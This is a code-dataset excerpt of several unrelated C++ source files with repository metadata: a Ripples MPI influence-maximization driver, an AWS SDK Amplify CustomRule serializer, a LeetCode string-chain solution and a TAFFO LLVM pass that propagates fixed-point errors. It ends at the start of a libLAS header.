] | 2 | 2019-07-27T16:24:53.000Z | 2021-02-06T01:08:49.000Z | tools/mpi-imm.cc | hipdac-lab/ripples | a948bff8db199b0e9eb7b3492a8af0e9e738c26c | [
"Apache-2.0"
] | 5 | 2019-07-29T17:20:38.000Z | 2022-02-23T21:00:16.000Z | //===------------------------------------------------------------*- C++ -*-===//
//
// Ripples: A C++ Library for Influence Maximization
// Marco Minutoli <marco.minutoli@pnnl.gov>
// Pacific Northwest National Laboratory
//
//===----------------------------------------------------------------------===//
//
// Copyright (c) 2019, Battelle Memorial Institute
//
// Battelle Memorial Institute (hereinafter Battelle) hereby grants permission
// to any person or entity lawfully obtaining a copy of this software and
// associated documentation files (hereinafter “the Software”) to redistribute
// and use the Software in source and binary forms, with or without
// modification. Such person or entity may use, copy, modify, merge, publish,
// distribute, sublicense, and/or sell copies of the Software, and may permit
// others to do so, subject to the following conditions:
//
// 1. Redistributions of source code must retain the above copyright notice,
// this list of conditions and the following disclaimers.
//
// 2. Redistributions in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// 3. Other than as used herein, neither the name Battelle Memorial Institute or
// Battelle may be used in any form whatsoever without the express written
// consent of Battelle.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
// ARE DISCLAIMED. IN NO EVENT SHALL BATTELLE OR CONTRIBUTORS BE LIABLE FOR ANY
// DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
// ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//
//===----------------------------------------------------------------------===//
#include "mpi.h"
#include "omp.h"
#include <iostream>
#include "ripples/configuration.h"
#include "ripples/diffusion_simulation.h"
#include "ripples/graph.h"
#include "ripples/loaders.h"
#include "ripples/mpi/imm.h"
#include "ripples/utility.h"
#include "CLI/CLI.hpp"
#include "nlohmann/json.hpp"
#include "spdlog/fmt/ostr.h"
#include "spdlog/sinks/stdout_color_sinks.h"
#include "spdlog/spdlog.h"
namespace ripples {
template <typename SeedSet>
auto GetExperimentRecord(const ToolConfiguration<IMMConfiguration> &CFG,
const IMMExecutionRecord &R, const SeedSet &seeds) {
// Find out rank, size
int world_rank;
MPI_Comm_rank(MPI_COMM_WORLD, &world_rank);
int world_size;
MPI_Comm_size(MPI_COMM_WORLD, &world_size);
nlohmann::json experiment{
{"Algorithm", "MPI-IMM"},
{"Input", CFG.IFileName},
{"Output", CFG.OutputFile},
{"DiffusionModel", CFG.diffusionModel},
{"Epsilon", CFG.epsilon},
{"K", CFG.k},
{"L", 1},
{"Rank", world_rank},
{"WorldSize", world_size},
{"NumThreads", R.NumThreads},
{"NumWalkWorkers", CFG.streaming_workers},
{"NumGPUWalkWorkers", CFG.streaming_gpu_workers},
{"Total", R.Total},
{"ThetaPrimeDeltas", R.ThetaPrimeDeltas},
{"ThetaEstimation", R.ThetaEstimationTotal},
{"ThetaEstimationGenerateRRR", R.ThetaEstimationGenerateRRR},
{"ThetaEstimationMostInfluential", R.ThetaEstimationMostInfluential},
{"Theta", R.Theta},
{"GenerateRRRSets", R.GenerateRRRSets},
{"FindMostInfluentialSet", R.FindMostInfluentialSet},
{"Seeds", seeds}};
return experiment;
}
ToolConfiguration<ripples::IMMConfiguration> CFG;
void parse_command_line(int argc, char **argv) {
CFG.ParseCmdOptions(argc, argv);
#pragma omp single
CFG.streaming_workers = omp_get_max_threads();
if (CFG.seed_select_max_workers == 0)
CFG.seed_select_max_workers = CFG.streaming_workers;
if (CFG.seed_select_max_gpu_workers == std::numeric_limits<size_t>::max())
CFG.seed_select_max_gpu_workers = CFG.streaming_gpu_workers;
}
ToolConfiguration<ripples::IMMConfiguration> configuration() { return CFG; }
} // namespace ripples
int main(int argc, char *argv[]) {
MPI_Init(NULL, NULL);
spdlog::set_level(spdlog::level::info);
auto console = spdlog::stdout_color_st("console");
// process command line
ripples::parse_command_line(argc, argv);
auto CFG = ripples::configuration();
if (CFG.parallel) {
if (ripples::streaming_command_line(
CFG.worker_to_gpu, CFG.streaming_workers, CFG.streaming_gpu_workers,
CFG.gpu_mapping_string) != 0) {
console->error("invalid command line");
return -1;
}
}
trng::lcg64 weightGen;
weightGen.seed(0UL);
weightGen.split(2, 0);
using edge_type = ripples::WeightedDestination<uint32_t, float>;
using GraphFwd =
ripples::Graph<uint32_t, edge_type, ripples::ForwardDirection<uint32_t>>;
using GraphBwd =
ripples::Graph<uint32_t, edge_type, ripples::BackwardDirection<uint32_t>>;
console->info("Loading...");
GraphFwd Gf = ripples::loadGraph<GraphFwd>(CFG, weightGen);
GraphBwd G = Gf.get_transpose();
console->info("Loading Done!");
console->info("Number of Nodes : {}", G.num_nodes());
console->info("Number of Edges : {}", G.num_edges());
nlohmann::json executionLog;
std::vector<typename GraphBwd::vertex_type> seeds;
ripples::IMMExecutionRecord R;
trng::lcg64 generator;
generator.seed(0UL);
generator.split(2, 1);
ripples::mpi::split_generator(generator);
auto workers = CFG.streaming_workers;
auto gpu_workers = CFG.streaming_gpu_workers;
if (CFG.diffusionModel == "IC") {
ripples::StreamingRRRGenerator<
decltype(G), decltype(generator),
typename ripples::RRRsets<decltype(G)>::iterator,
ripples::independent_cascade_tag>
se(G, generator, R, workers - gpu_workers, gpu_workers,
CFG.worker_to_gpu);
auto start = std::chrono::high_resolution_clock::now();
seeds = ripples::mpi::IMM(
G, CFG, 1.0, se, R, ripples::independent_cascade_tag{},
ripples::mpi::MPI_Plus_X<ripples::mpi_omp_parallel_tag>{});
auto end = std::chrono::high_resolution_clock::now();
R.Total = end - start;
} else if (CFG.diffusionModel == "LT") {
ripples::StreamingRRRGenerator<
decltype(G), decltype(generator),
typename ripples::RRRsets<decltype(G)>::iterator,
ripples::linear_threshold_tag>
se(G, generator, R, workers - gpu_workers, gpu_workers,
CFG.worker_to_gpu);
auto start = std::chrono::high_resolution_clock::now();
seeds = ripples::mpi::IMM(
G, CFG, 1.0, se, R, ripples::linear_threshold_tag{},
ripples::mpi::MPI_Plus_X<ripples::mpi_omp_parallel_tag>{});
auto end = std::chrono::high_resolution_clock::now();
R.Total = end - start;
}
console->info("IMM MPI+OpenMP+CUDA : {}ms", R.Total.count());
size_t num_threads;
#pragma omp single
num_threads = omp_get_max_threads();
R.NumThreads = num_threads;
G.convertID(seeds.begin(), seeds.end(), seeds.begin());
auto experiment = GetExperimentRecord(CFG, R, seeds);
executionLog.push_back(experiment);
int world_size;
MPI_Comm_size(MPI_COMM_WORLD, &world_size);
console->info("IMM World Size : {}", world_size);
// Find out rank, size
int world_rank;
MPI_Comm_rank(MPI_COMM_WORLD, &world_rank);
console->info("IMM Rank : {}", world_rank);
if (world_rank == 0) {
std::ofstream perf(CFG.OutputFile);
perf << executionLog.dump(2);
}
MPI_Finalize();
return EXIT_SUCCESS;
}
| 37.07907 | 80 | 0.683266 | hipdac-lab |
600e2e0bfa7f810d5f4a29e3e029ce0547314172 | 1,761 | cpp | C++ | aws-cpp-sdk-amplify/source/model/CustomRule.cpp | Neusoft-Technology-Solutions/aws-sdk-cpp | 88c041828b0dbee18a297c3cfe98c5ecd0706d0b | [
"Apache-2.0"
] | 1 | 2022-02-12T08:09:30.000Z | 2022-02-12T08:09:30.000Z | aws-cpp-sdk-amplify/source/model/CustomRule.cpp | Neusoft-Technology-Solutions/aws-sdk-cpp | 88c041828b0dbee18a297c3cfe98c5ecd0706d0b | [
"Apache-2.0"
] | 1 | 2022-01-03T23:59:37.000Z | 2022-01-03T23:59:37.000Z | aws-cpp-sdk-amplify/source/model/CustomRule.cpp | ravindra-wagh/aws-sdk-cpp | 7d5ff01b3c3b872f31ca98fb4ce868cd01e97696 | [
"Apache-2.0"
] | 1 | 2021-11-09T11:58:03.000Z | 2021-11-09T11:58:03.000Z | /**
* Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
* SPDX-License-Identifier: Apache-2.0.
*/
#include <aws/amplify/model/CustomRule.h>
#include <aws/core/utils/json/JsonSerializer.h>
#include <utility>
using namespace Aws::Utils::Json;
using namespace Aws::Utils;
namespace Aws
{
namespace Amplify
{
namespace Model
{
CustomRule::CustomRule() :
m_sourceHasBeenSet(false),
m_targetHasBeenSet(false),
m_statusHasBeenSet(false),
m_conditionHasBeenSet(false)
{
}
CustomRule::CustomRule(JsonView jsonValue) :
m_sourceHasBeenSet(false),
m_targetHasBeenSet(false),
m_statusHasBeenSet(false),
m_conditionHasBeenSet(false)
{
*this = jsonValue;
}
CustomRule& CustomRule::operator =(JsonView jsonValue)
{
if(jsonValue.ValueExists("source"))
{
m_source = jsonValue.GetString("source");
m_sourceHasBeenSet = true;
}
if(jsonValue.ValueExists("target"))
{
m_target = jsonValue.GetString("target");
m_targetHasBeenSet = true;
}
if(jsonValue.ValueExists("status"))
{
m_status = jsonValue.GetString("status");
m_statusHasBeenSet = true;
}
if(jsonValue.ValueExists("condition"))
{
m_condition = jsonValue.GetString("condition");
m_conditionHasBeenSet = true;
}
return *this;
}
JsonValue CustomRule::Jsonize() const
{
JsonValue payload;
if(m_sourceHasBeenSet)
{
payload.WithString("source", m_source);
}
if(m_targetHasBeenSet)
{
payload.WithString("target", m_target);
}
if(m_statusHasBeenSet)
{
payload.WithString("status", m_status);
}
if(m_conditionHasBeenSet)
{
payload.WithString("condition", m_condition);
}
return payload;
}
} // namespace Model
} // namespace Amplify
} // namespace Aws
| 16.771429 | 69 | 0.696763 | Neusoft-Technology-Solutions |
601025727f80f346f10c257ca199c499325e0601 | 17,876 | cpp | C++ | lib/ErrorAnalysis/ErrorPropagator/Propagators.cpp | TAFFO-org/TAFFO | a6edbf0814a264d6877f9579e9f37ad9b48fcabb | [
"MIT"
] | 3 | 2022-02-24T14:34:02.000Z | 2022-03-21T10:43:04.000Z | lib/ErrorAnalysis/ErrorPropagator/Propagators.cpp | TAFFO-org/TAFFO | a6edbf0814a264d6877f9579e9f37ad9b48fcabb | [
"MIT"
] | 5 | 2021-11-30T14:37:15.000Z | 2022-02-27T19:21:13.000Z | lib/ErrorAnalysis/ErrorPropagator/Propagators.cpp | TAFFO-org/TAFFO | a6edbf0814a264d6877f9579e9f37ad9b48fcabb | [
"MIT"
] | 1 | 2022-02-24T14:33:06.000Z | 2022-02-24T14:33:06.000Z | //===-- Propagators.cpp - Propagators for LLVM Instructions -----*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
///
/// \file
/// Definitions of functions that propagate fixed point computation errors
/// for each LLVM Instruction.
///
//===----------------------------------------------------------------------===//
#include "Propagators.h"
#include "AffineForms.h"
#include "MemSSAUtils.h"
#include "Metadata.h"
#include "llvm/IR/InstrTypes.h"
#include "llvm/IR/Instructions.h"
#include "llvm/Support/Debug.h"
namespace ErrorProp
{
#define DEBUG_TYPE "errorprop"
namespace
{
using namespace llvm;
using namespace mdutils;
AffineForm<inter_t>
propagateAdd(const FPInterval &R1, const AffineForm<inter_t> &E1,
const FPInterval &, const AffineForm<inter_t> &E2)
{
// The absolute errors must be summed one by one
return E1 + E2;
}
AffineForm<inter_t>
propagateSub(const FPInterval &R1, const AffineForm<inter_t> &E1,
const FPInterval &, const AffineForm<inter_t> &E2)
{
// The absolute errors must be subtracted one by one
return E1 - E2;
}
AffineForm<inter_t>
propagateMul(const FPInterval &R1, const AffineForm<inter_t> &E1,
const FPInterval &R2, const AffineForm<inter_t> &E2)
{
// With x = y * z, the new error for x is computed as
// errx = y*errz + x*erry + erry*errz
return AffineForm<inter_t>(R1) * E2 + AffineForm<inter_t>(R2) * E1 + E1 * E2;
}
AffineForm<inter_t>
propagateDiv(const FPInterval &R1, const AffineForm<inter_t> &E1,
const FPInterval &R2, const AffineForm<inter_t> &E2,
bool AddTrunc = true)
{
// Compute y / z as y * 1/z.
// Compute the range of 1/z.
FPInterval InvR2(R2);
InvR2.Min = 1.0 / R2.Max;
InvR2.Max = 1.0 / R2.Min;
// Compute errors on 1/z.
AffineForm<inter_t> E1OverZ =
LinearErrorApproximationDecr([](inter_t x) { return static_cast<inter_t>(-1) / (x * x); },
R2, E2);
// The error for y / z will be
// x * err1/z + 1/z * errx + errx * err1/z
// plus the rounding error due to truncation.
AffineForm<inter_t> Res = AffineForm<inter_t>(R1) * E1OverZ + AffineForm<inter_t>(InvR2) * E1 + E1 * E1OverZ;
if (AddTrunc)
return Res + AffineForm<inter_t>(0, R1.getRoundingError());
else
return std::move(Res);
}
AffineForm<inter_t>
propagateShl(const AffineForm<inter_t> &E1)
{
// When shifting left there is no loss of precision (if no overflow occurs).
return E1;
}
/// Propagate Right Shift Instruction.
/// \param E1 Errors associated to the operand to be shifted.
/// \param ResR Range of the result, only used to obtain target point position.
AffineForm<inter_t>
propagateShr(const AffineForm<inter_t> &E1, const FPInterval &ResR)
{
return E1 + AffineForm<inter_t>(0, ResR.getRoundingError());
}
} // end of anonymous namespace
bool InstructionPropagator::propagateBinaryOp(Instruction &I)
{
BinaryOperator &BI = cast<BinaryOperator>(I);
LLVM_DEBUG(logInstruction(I));
// if (RMap.getRangeError(&I) == nullptr) {
// LLVM_DEBUG(dbgs() << "ignored (no range data).\n");
// return false;
// }
bool DoublePP = BI.getOpcode() == Instruction::UDiv || BI.getOpcode() == Instruction::SDiv;
auto *O1 = getOperandRangeError(BI, 0U, DoublePP);
auto *O2 = getOperandRangeError(BI, 1U);
if (O1 == nullptr || !O1->second.hasValue() || O2 == nullptr || !O2->second.hasValue()) {
LLVM_DEBUG(logInfo("no data.\n"));
return false;
}
AffineForm<inter_t> ERes;
switch (BI.getOpcode()) {
case Instruction::FAdd:
// Fall-through.
case Instruction::Add:
ERes = propagateAdd(O1->first, *O1->second,
O2->first, *O2->second);
break;
case Instruction::FSub:
// Fall-through.
case Instruction::Sub:
ERes = propagateSub(O1->first, *O1->second,
O2->first, *O2->second);
break;
case Instruction::FMul:
// Fall-through.
case Instruction::Mul:
ERes = propagateMul(O1->first, *O1->second,
O2->first, *O2->second);
break;
case Instruction::FDiv:
ERes = propagateDiv(O1->first, *O1->second,
O2->first, *O2->second, false);
break;
case Instruction::UDiv:
// Fall-through.
case Instruction::SDiv:
ERes = propagateDiv(O1->first, *O1->second,
O2->first, *O2->second);
break;
case Instruction::Shl:
ERes = propagateShl(*O1->second);
break;
case Instruction::LShr:
// Fall-through.
case Instruction::AShr: {
const FPInterval *ResR = RMap.getRange(&I);
if (ResR == nullptr) {
LLVM_DEBUG(logInfoln("no data."));
return false;
}
ERes = propagateShr(*O1->second, *ResR);
break;
}
default:
LLVM_DEBUG(logInfoln("not supported.\n"));
return false;
}
// Add error to RMap.
RMap.setError(&BI, ERes);
LLVM_DEBUG(logErrorln(ERes));
return true;
}
bool InstructionPropagator::propagateStore(Instruction &I)
{
assert(I.getOpcode() == Instruction::Store && "Must be Store.");
StoreInst &SI = cast<StoreInst>(I);
LLVM_DEBUG(logInstruction(I));
Value *IDest = SI.getPointerOperand();
assert(IDest != nullptr && "Store with null Pointer Operand.");
auto *PointerRE = RMap.getRangeError(IDest);
auto *SrcRE = getOperandRangeError(I, 0U);
if (SrcRE == nullptr || !SrcRE->second.hasValue()) {
LLVM_DEBUG(logInfo("(no data, looking up pointer)"));
SrcRE = PointerRE;
if (SrcRE == nullptr || !SrcRE->second.hasValue()) {
LLVM_DEBUG(logInfoln("ignored (no data)."));
return false;
}
}
assert(SrcRE != nullptr);
// Associate the source error to this store instruction,
RMap.setRangeError(&SI, *SrcRE);
// and to the pointer, if greater, and if it is a function Argument.
updateArgumentRE(IDest, SrcRE);
LLVM_DEBUG(logErrorln(*SrcRE));
// Update struct errors.
RMap.setStructRangeError(SI.getPointerOperand(), *SrcRE);
return true;
}
bool InstructionPropagator::propagateLoad(Instruction &I)
{
assert(I.getOpcode() == Instruction::Load && "Must be Load.");
LoadInst &LI = cast<LoadInst>(I);
LLVM_DEBUG(logInstruction(I));
if (isa<PointerType>(LI.getType())) {
LLVM_DEBUG(logInfoln("Pointer load ignored."));
return false;
}
// Look for range and error in the defining instructions with MemorySSA
MemSSAUtils MemUtils(RMap, MemSSA);
MemUtils.findMemSSAError(&I, MemSSA.getMemoryAccess(&I));
// Kludje for when AliasAnalysis fails (i.e. almost always).
if (SloppyAA) {
MemUtils.findLOEError(&I);
}
MemSSAUtils::REVector &REs = MemUtils.getRangeErrors();
// If this is a load of a struct element, lookup in the struct errors.
if (const RangeErrorMap::RangeError *StructRE = RMap.getStructRangeError(LI.getPointerOperand())) {
REs.push_back(StructRE);
LLVM_DEBUG(logInfo("(StructError: ");
logError(*StructRE);
logInfo(")"));
}
std::sort(REs.begin(), REs.end());
auto NewEnd = std::unique(REs.begin(), REs.end());
REs.resize(NewEnd - REs.begin());
if (REs.size() == 1U && REs.front() != nullptr) {
// If we found only one defining instruction, we just use its data.
const RangeErrorMap::RangeError *RE = REs.front();
if (RE->second.hasValue() && RMap.getRange(&I))
RMap.setError(&I, *RE->second);
else
RMap.setRangeError(&I, *RE);
LLVM_DEBUG(logInfo("(one value) ");
logErrorln(*RE));
return true;
}
// Otherwise, we take the maximum error.
inter_t MaxAbsErr = -1.0;
for (const RangeErrorMap::RangeError *RE : REs)
if (RE != nullptr && RE->second.hasValue()) {
MaxAbsErr = std::max(MaxAbsErr, RE->second->noiseTermsAbsSum());
}
// We also take the range from metadata attached to LI (if any).
const FPInterval *SrcR = RMap.getRange(&I);
if (SrcR == nullptr) {
LLVM_DEBUG(logInfoln("ignored (no data)."));
return false;
}
if (MaxAbsErr >= 0) {
AffineForm<inter_t> Error(0, MaxAbsErr);
RMap.setRangeError(&I, std::make_pair(*SrcR, Error));
LLVM_DEBUG(logErrorln(Error));
return true;
}
// If we have no other error info, we take the rounding error.
AffineForm<inter_t> Error(0, SrcR->getRoundingError());
RMap.setRangeError(&I, std::make_pair(*SrcR, Error));
LLVM_DEBUG(logInfo("(no data, falling back to rounding error)");
logErrorln(Error));
return true;
}
bool InstructionPropagator::propagateExt(Instruction &I)
{
assert((I.getOpcode() == Instruction::SExt || I.getOpcode() == Instruction::ZExt || I.getOpcode() == Instruction::FPExt) && "Must be SExt, ZExt or FExt.");
LLVM_DEBUG(logInstruction(I));
// No further error is introduced with signed/unsigned extension.
return unOpErrorPassThrough(I);
}
bool InstructionPropagator::propagateTrunc(Instruction &I)
{
assert((I.getOpcode() == Instruction::Trunc || I.getOpcode() == Instruction::FPTrunc) && "Must be Trunc.");
LLVM_DEBUG(logInstruction(I));
// No further error is introduced with truncation if no overflow occurs
// (in which case it is useless to propagate other errors).
return unOpErrorPassThrough(I);
}
bool InstructionPropagator::propagateFNeg(Instruction &I)
{
assert(I.getOpcode() == Instruction::FNeg && "Must be FNeg.");
LLVM_DEBUG(logInstruction(I));
// No further error is introduced by flipping sign.
return unOpErrorPassThrough(I);
}
bool InstructionPropagator::propagateIToFP(Instruction &I)
{
assert((isa<SIToFPInst>(I) || isa<UIToFPInst>(I)) && "Must be IToFP.");
LLVM_DEBUG(logInstruction(I));
return unOpErrorPassThrough(I);
}
bool InstructionPropagator::propagateFPToI(Instruction &I)
{
assert((isa<FPToSIInst>(I) || isa<FPToUIInst>(I)) && "Must be FPToI.");
LLVM_DEBUG(logInstruction(I));
const AffineForm<inter_t> *Error = RMap.getError(I.getOperand(0U));
if (Error == nullptr) {
LLVM_DEBUG(logInfoln("ignored (no error data)."));
return false;
}
const FPInterval *Range = RMap.getRange(&I);
if (Range == nullptr || Range->isUninitialized()) {
LLVM_DEBUG(logInfo("ignored (no range data)."));
return false;
}
AffineForm<inter_t> NewError = *Error + AffineForm<inter_t>(0.0, Range->getRoundingError());
RMap.setError(&I, NewError);
LLVM_DEBUG(logErrorln(NewError));
return true;
}
bool InstructionPropagator::propagateSelect(Instruction &I)
{
SelectInst &SI = cast<SelectInst>(I);
LLVM_DEBUG(logInstruction(I));
if (RMap.getRangeError(&I) == nullptr) {
LLVM_DEBUG(logInfoln("ignored (no range data)."));
return false;
}
auto *TV = getOperandRangeError(I, SI.getTrueValue());
auto *FV = getOperandRangeError(I, SI.getFalseValue());
if (TV == nullptr || !TV->second.hasValue() || FV == nullptr || !FV->second.hasValue()) {
LLVM_DEBUG(logInfoln("(no data)."));
return false;
}
// Retrieve absolute errors attched to each value.
inter_t ErrT = TV->second->noiseTermsAbsSum();
inter_t ErrF = FV->second->noiseTermsAbsSum();
// The error for this instruction is the maximum between the two branches.
AffineForm<inter_t> ERes(0, std::max(ErrT, ErrF));
// Add error to RMap.
RMap.setError(&I, ERes);
// Add computed error metadata to the instruction.
// setErrorMetadata(I, ERes);
LLVM_DEBUG(logErrorln(ERes));
return true;
}
bool InstructionPropagator::propagatePhi(Instruction &I)
{
PHINode &PHI = cast<PHINode>(I);
LLVM_DEBUG(logInstruction(I));
const FPType *ConstFallbackTy = nullptr;
if (RMap.getRangeError(&I) == nullptr) {
for (const Use &IVal : PHI.incoming_values()) {
auto *RE = getOperandRangeError(I, IVal);
if (RE == nullptr)
continue;
ConstFallbackTy = dyn_cast_or_null<FPType>(RE->first.getTType());
if (ConstFallbackTy != nullptr)
break;
}
}
// Iterate over values and choose the largest absolute error.
inter_t AbsErr = -1.0;
inter_t Min = std::numeric_limits<inter_t>::infinity();
inter_t Max = -std::numeric_limits<inter_t>::infinity();
for (const Use &IVal : PHI.incoming_values()) {
auto *RE = getOperandRangeError(I, IVal, false, ConstFallbackTy);
if (RE == nullptr)
continue;
Min = std::isnan(RE->first.Min) ? RE->first.Min : std::min(Min, RE->first.Min);
Max = std::isnan(RE->first.Max) ? RE->first.Max : std::max(Max, RE->first.Max);
if (!RE->second.hasValue())
continue;
AbsErr = std::max(AbsErr, RE->second->noiseTermsAbsSum());
}
if (AbsErr < 0.0) {
// If no incoming value has an error, skip this instruction.
LLVM_DEBUG(logInfoln("ignored (no error data)."));
return false;
}
AffineForm<inter_t> ERes(0, AbsErr);
// Add error to RMap.
if (RMap.getRangeError(&I) == nullptr) {
FPInterval FPI(Interval<inter_t>(Min, Max));
RMap.setRangeError(&I, std::make_pair(FPI, ERes));
} else
RMap.setError(&I, ERes);
LLVM_DEBUG(logErrorln(ERes));
return true;
}
extern cl::opt<unsigned> CmpErrorThreshold;
bool InstructionPropagator::checkCmp(CmpErrorMap &CmpMap, Instruction &I)
{
CmpInst &CI = cast<CmpInst>(I);
LLVM_DEBUG(logInstruction(I));
auto *Op1 = getOperandRangeError(I, 0U);
auto *Op2 = getOperandRangeError(I, 1U);
if (Op1 == nullptr || Op1->first.isUninitialized() || !Op1->second.hasValue() || Op2 == nullptr || Op2->first.isUninitialized() || !Op2->second.hasValue()) {
LLVM_DEBUG(logInfoln("(no data)."));
return false;
}
// Compute the total independent absolute error between operands.
// (NoiseTerms present in both operands will cancel themselves.)
inter_t AbsErr = (*Op1->second - *Op2->second).noiseTermsAbsSum();
// Maximum absolute error tolerance to avoid changing the comparison result.
inter_t MaxTol = std::max(computeMinRangeDiff(Op1->first, Op2->first),
Op1->first.getRoundingError());
CmpErrorInfo CmpInfo(MaxTol, false);
if (AbsErr >= MaxTol) {
// The compare might be wrong due to the absolute error on operands.
if (CmpErrorThreshold == 0) {
CmpInfo.MayBeWrong = true;
} else {
// Check if it is also above custom threshold:
inter_t RelErr = AbsErr / std::max(Op1->first.Max, Op2->first.Max);
if (RelErr * 100.0 >= CmpErrorThreshold)
CmpInfo.MayBeWrong = true;
}
}
CmpMap.insert(std::make_pair(&I, CmpInfo));
if (CmpInfo.MayBeWrong)
LLVM_DEBUG(logInfoln("might be wrong!"));
else
LLVM_DEBUG(logInfoln("no possible error."));
return true;
}
bool InstructionPropagator::propagateRet(Instruction &I)
{
ReturnInst &RI = cast<ReturnInst>(I);
LLVM_DEBUG(logInstruction(I));
// Get error of the returned value
Value *Ret = RI.getReturnValue();
const AffineForm<inter_t> *RetErr = RMap.getError(Ret);
if (Ret == nullptr || RetErr == nullptr) {
LLVM_DEBUG(logInfoln("unchanged (no data)."));
return false;
}
// Associate RetErr to the ret instruction.
RMap.setError(&I, *RetErr);
// Get error already associated to this function
Function *F = RI.getFunction();
const AffineForm<inter_t> *FunErr = RMap.getError(F);
if (FunErr == nullptr || RetErr->noiseTermsAbsSum() > FunErr->noiseTermsAbsSum()) {
// If no error had already been attached to this function,
// or if RetErr is larger than the previous one, associate RetErr to it.
RMap.setError(F, RetErr->flattenNoiseTerms());
LLVM_DEBUG(logErrorln(*RetErr));
return true;
} else {
LLVM_DEBUG(logInfoln("unchanged (smaller than previous)."));
return true;
}
}
bool InstructionPropagator::propagateCall(Instruction &I)
{
LLVM_DEBUG(logInstruction(I));
Function *F = nullptr;
if (isa<CallInst>(I)) {
F = cast<CallInst>(I).getCalledFunction();
} else {
assert(isa<InvokeInst>(I));
F = cast<InvokeInst>(I).getCalledFunction();
}
if (F != nullptr && isSpecialFunction(*F)) {
return propagateSpecialCall(I, *F);
}
if (RMap.getRangeError(&I) == nullptr) {
LLVM_DEBUG(logInfoln("ignored (no range data)."));
return false;
}
const AffineForm<inter_t> *Error = RMap.getError(F);
if (Error == nullptr) {
LLVM_DEBUG(logInfoln("ignored (no error data)."));
return false;
}
RMap.setError(&I, *Error);
LLVM_DEBUG(logErrorln(*Error));
return true;
}
bool InstructionPropagator::propagateGetElementPtr(Instruction &I)
{
GetElementPtrInst &GEPI = cast<GetElementPtrInst>(I);
LLVM_DEBUG(logInstruction(I));
const RangeErrorMap::RangeError *RE =
RMap.getRangeError(GEPI.getPointerOperand());
if (RE == nullptr || !RE->second.hasValue()) {
LLVM_DEBUG(logInfoln("ignored (no data)."));
return false;
}
RMap.setRangeError(&GEPI, *RE);
LLVM_DEBUG(logErrorln(*RE));
return true;
}
bool InstructionPropagator::propagateExtractValue(Instruction &I)
{
ExtractValueInst &EVI = cast<ExtractValueInst>(I);
LLVM_DEBUG(logInstruction(I));
const RangeErrorMap::RangeError *RE = RMap.getStructRangeError(&EVI);
if (RE == nullptr || !RE->second.hasValue()) {
LLVM_DEBUG(logInfoln("ignored (no data)."));
return false;
}
RMap.setRangeError(&EVI, *RE);
LLVM_DEBUG(logErrorln(*RE));
return true;
}
bool InstructionPropagator::propagateInsertValue(Instruction &I)
{
InsertValueInst &IVI = cast<InsertValueInst>(I);
LLVM_DEBUG(logInstruction(I));
const RangeErrorMap::RangeError *RE =
RMap.getStructRangeError(IVI.getInsertedValueOperand());
if (RE == nullptr || !RE->second.hasValue()) {
LLVM_DEBUG(logInfoln("ignored (no data)."));
return false;
}
RMap.setStructRangeError(&IVI, *RE);
LLVM_DEBUG(logErrorln(*RE));
return false;
}
} // end of namespace ErrorProp
| 28.419714 | 159 | 0.658704 | TAFFO-org |
6010b95bdec321da7a9fbc8d679a0a737118615b | 913 | cpp | C++ | LeetCode/Longest String Chain/main.cpp | Code-With-Aagam/competitive-programming | 610520cc396fb13a03c606b5fb6739cfd68cc444 | [
"MIT"
] | 2 | 2022-02-08T12:37:41.000Z | 2022-03-09T03:48:56.000Z | LeetCode/Longest String Chain/main.cpp | ShubhamJagtap2000/competitive-programming-1 | 3a9a2e3dd08f8fa8ab823f295cd020d08d3bff84 | [
"MIT"
] | null | null | null | LeetCode/Longest String Chain/main.cpp | ShubhamJagtap2000/competitive-programming-1 | 3a9a2e3dd08f8fa8ab823f295cd020d08d3bff84 | [
"MIT"
] | null | null | null | class Solution {
private:
bool isPredecessor(const string &x, const string &y) {
if (y.size() - x.size() != 1) return false;
if (y.substr(1) == x || y.substr(0, x.size()) == x) return true;
for (int i = 0; i < y.size() - 1; ++i) {
if (y.substr(0, i) + y.substr(i + 1) == x) return true;
}
return false;
}
public:
int longestStrChain(vector<string> &words) {
if (words.size() < 2) return words.size();
sort(words.begin(), words.end(), [](const string &x, const string &y) {
return x.size() < y.size();
});
vector<int> dp(words.size(), 1);
for (int i = 1; i < words.size(); ++i) {
for (int j = 0; j < i; ++j) {
if (isPredecessor(words[j], words[i])) dp[i] = max(dp[i], 1 + dp[j]);
}
}
return *max_element(dp.begin(), dp.end());
}
}; | 35.115385 | 85 | 0.468784 | Code-With-Aagam |
60113973edf1f923a1db67a452b8f660b0ed3979 | 30,780 | hpp | C++ | lsdtt_xtensor/include/liblas/index.hpp | LSDtopotools/lsdtopytools | 9809cbd368fe46b5e483085fa55f3206e4d85183 | [
"MIT"
] | 2 | 2020-05-04T14:32:34.000Z | 2021-06-29T10:59:03.000Z | lsdtt_xtensor/include/liblas/index.hpp | LSDtopotools/lsdtopytools | 9809cbd368fe46b5e483085fa55f3206e4d85183 | [
"MIT"
] | 1 | 2020-01-30T14:03:00.000Z | 2020-02-06T16:32:56.000Z | include/liblas/index.hpp | libLAS/libLAS-1.6 | 92b4c1370785481f212cc7fec9623637233c1418 | [
"BSD-3-Clause"
] | 2 | 2021-05-17T02:09:16.000Z | 2021-06-21T12:15:52.000Z | /******************************************************************************
* $Id$
*
* Project: libLAS - http://liblas.org - A BSD library for LAS format data.
* Purpose: LAS index class
